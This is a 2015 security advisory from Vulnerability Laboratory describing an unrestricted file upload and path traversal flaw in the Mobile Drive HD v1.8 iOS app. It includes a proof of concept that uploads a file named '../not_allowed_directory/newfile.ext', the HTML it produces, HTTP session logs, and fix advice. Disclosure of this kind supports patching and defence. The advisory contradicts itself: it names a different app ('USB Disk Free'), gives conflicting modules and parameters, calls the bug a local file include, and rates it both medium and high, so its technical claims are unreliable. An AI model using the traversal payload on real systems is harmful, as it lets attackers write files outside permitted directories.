Mobile Drive HD v1.8 - File Upload Web Vulnerability

Document Title:
===============
Mobile Drive HD v1.8 - File Upload Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1446


Release Date:
=============
2015-03-11


Vulnerability Laboratory ID (VL-ID):
====================================
1446


Common Vulnerability Scoring System:
====================================
6.4


Product & Service Introduction:
===============================
Mobile Drive is the ideal app for anyone who transfer documents between PC, iPad and Cloud. Mobile Drive allows you to manage 
documents and organize them. You can quickly upload and download documents via email and the popular cloud storage services.

(Copy of the Vendor Homepage: https://itunes.apple.com/en/app/mobile-drive-hd-document-cloud/id626102554 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered file upload web vulnerability in the Mobile Drive HD v1.8 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2015-03-11: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Keke Cai
Product: Mobile Drive HD- iOS Mobile Web Application 1.8


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An unrestricted file upload web vulnerability has been discovered in the official USB Disk Free - File Manager & Transfer v1.0 iOS mobile application.
The file upload vulnerability allows remote attackers to upload an arbitrary (malicious) file to compromise the iOS web-application. 

The file upload vulnerability is located in the `name` value of the `Albums` module. Remote attackers are able to intercept the 
vulnerable name value in the upload POST method request to compromise the app path. The attacker can use a live session tamper in 
http to change the album name parameter to a malicious source.

The security risk of the local file include web vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.4. 
Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account. Successful exploitation 
of the local file include web vulnerability results in mobile application compromise or connected device component compromise.

Request Method(s):
				[+] [POST]

Vulnerable Module(s):
				[+] Upload

Vulnerable Parameter(s):
				[+] filename

Affected Module(s):
				[+] Index File Dir Listing (http://localhost:8080/)


Proof of Concept (PoC):
=======================
The unrestricted file upload web vulnerability can be exploited by local attackers without privileged application user accounts or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

PoC: Exploitation
http://localhost:8080/files/%3C../not_allowed_directory/newfile.ext


PoC: Vulnerable Source
<tr class="shadow"><td><a href="/%3C./not_allowed_directory/newfile.ext" class="file">%3C./not_allowed_directory/newfile.ext</a></td><td class='del'>
<form action='%3C./not_allowed_directory/newfile.ext' method='post'><input name='_method' value='delete' type='hidden'/>
<input name="commit" type="submit" value="Delete" class='button' /></td></tr></tbody></table></iframe></a></td></tr></tbody>
</table>


--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://localhost:8080/files 
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://localhost:8080/]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------21144193462
Content-Disposition: form-data; name="newfile"; filename="../not_allowed_directory/newfile.ext"
-
Status: 200[OK]
GET http://localhost:8080/
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[2739]
      Date[Mo., 09 März 2015 14:24:12 GMT]
-
Status: 200[OK]
GET http://localhost:8080/jquery.js
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[55774]
      Date[Mo., 09 März 2015 14:24:12 GMT]
-
Status: 200[OK]
GET http://localhost:8080/files?../not_allowed_directory/newfile.ext
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0]
      Accept[application/json, text/javascript, */*]
   Response Header:
      Accept-Ranges[bytes]
      Content-Length[62]
      Cache-Control[private, max-age=0, must-revalidate]
      Content-Type[text/plain; charset=utf-8]
      Date[Mo., 09 März 2015 14:24:13 GMT]


Reference(s):
http://localhost:8080/files/
http://localhost:8080/jquery.js


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure validation of the filename value in the upload POST method request. Restrict the filename input and 
disallow special chars. Ensure that not multiple file extensions are loaded in the filename value to prevent arbitrary file upload attacks.
Encode the output in the file dir index list with the vulnerable name value to prevent an application-side injection attacks.


Security Risk:
==============
The security risk of the unrestricted file upload web vulnerability in the upload module is estimated as high. (CVSS 6.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected]) [www.vulnerability-lab.com]


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=========================
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